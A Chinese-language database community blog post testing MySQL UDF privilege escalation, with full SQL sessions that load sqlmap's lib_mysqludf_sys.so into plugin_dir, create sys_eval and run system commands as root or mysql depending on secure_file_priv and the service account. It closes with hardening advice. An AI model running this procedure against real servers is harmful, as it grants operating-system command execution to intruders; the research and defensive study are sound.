MySQL UDF 提權初探

GreatSQL發表於2024-08-07

MySQL UDF 提權初探

對 MySQL UDF 提權做一次探究,什麼情況下可以提權,提取的主機許可權是否跟mysqld程序啟動的主機賬號有關

資料庫資訊

MySQL資料庫版本:5.7.21

UDF

UDF:(User Defined Function) 使用者自定義函式,MySQL資料庫的初衷是用於方便使用者進行自定義函式,方便查詢一些複雜的資料,同時也有可能被攻擊者利用,使用udf進行提權。

提權原理:攻擊者透過編寫呼叫cmd或者shell的共享庫檔案(window為.dll,linux為.so),並且匯入到一個指定的資料夾目錄下,建立一個指向共享庫檔案的自定義函式,從而在資料庫中的查詢就等價於在cmd或者shell中執行命令。

執行過程:本質上還是利用了MySQL能夠執行系統命令的特點。具體過程如下

(1)攻擊者編寫一些可以呼叫cmd或者shell的共享庫檔案(window為.dll,linux為.so),將共享庫匯入指定的函式目錄中。

(2)在MySQL中建立指向共享庫檔案的自定義函式。

(3)透過剛剛建立的函式執行系統命令,實現提權。

漏洞詳情

當mysql配置secure_file_priv項為空或者secure_file_priv項為plugin資料夾,且可以用弱口令登入資料庫,存在udf提權漏洞。

  1. 檢視漏洞利用條件:secure_file_priv為空或者為plugin資料夾,可以登入資料庫,存在plugin資料夾

  2. 將udf.so檔案匯入相關plugin資料夾下

  3. 使用udf建立自定義函式
    Create function sys_eval returns string soname ‘udf.so’;

  4. 使用自定義函式執行任意程式碼執行:

獲取so檔案

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_

root賬號拉起mysqld程序

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv |                |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#匯入so檔案成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)

mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#建立自定義函式成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.02 sec)

mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv | /home/mysql/   |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#建立中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#匯入so檔案成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#匯出so檔案到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#透過plugin的so建立自定義函式失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致)

#plugin_dir路徑下有so檔案了
#直接建立自定義函式
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.02 sec)

secure_file_priv=null

mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | null  |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#建立中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#匯入so檔案成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#透過plugin的so建立自定義函式失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

普通賬號拉起mysqld程序

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv |                |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#匯入so檔案成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)

mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#建立自定義函式成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql              |
+--------------------+
1 row in set (0.06 sec)

餘下的幾種secure_file_priv=dirname(secure_file_priv和plugin_dir路徑不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致),secure_file_priv=null得出的結果是類似的,這裡就不詳細繼續闡述了,全部寫完可能篇數稍長。

總結

  • secure_file_priv

    • ''(empty string),不限制匯入和匯出的目錄。只需將so寫到plugin_dir,能建立so自定義函式。存在漏洞風險
    • dirname(指定目錄),限制匯入和匯出為指定目錄。如果指定的目錄和plugin_dir相同,能正常建立so自定義函式,存在漏洞風險;否則不能建立so自定義函式
    • null,禁止匯入和匯出操作,不存在漏洞風險
  • 提權賬號
    無論採用哪種方式啟動資料庫(systemctl start mysql、mysqld、mysqld_safe),提權後的賬號根據mysqld程序uid確定

    $ ps -ef|head -1;ps -ef |grep 5721
    UID        PID  PPID  C STIME TTY          TIME CMD
    root     18371 11890  1 17:33 pts/21   00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
    
  • 資料庫賬號的許可權
    目標端需要能執行select...into dumpfile、建立函式許可權

建議

  1. 使用普通賬號啟動資料庫(配置檔案中--user=mysql)
  2. secure_file_priv設定為null,禁止匯入和匯出操作;如果需要匯入和匯出,將secure_file_priv設定為非plugin_dir目錄
  3. 資料庫密碼儘量複雜
  4. 關注plugin_dir是否有新增的不明來源的.so檔案和關注資料庫是否有新增不明來源的自定義函式

Enjoy GreatSQL 😃

關於 GreatSQL

GreatSQL是適用於金融級應用的國內自主開源資料庫,具備高效能、高可靠、高易用性、高安全等多個核心特性,可以作為MySQL或Percona Server的可選替換,用於線上生產環境,且完全免費併相容MySQL或Percona Server。

相關連結: GreatSQL社群 Gitee GitHub Bilibili

GreatSQL社群:

社群部落格有獎徵稿詳情:https://greatsql.cn/thread-100-1-1.html

image-20230105161905827

技術交流群:

微信:掃碼新增GreatSQL社群助手微信好友,傳送驗證資訊加群

image-20221030163217640

相關文章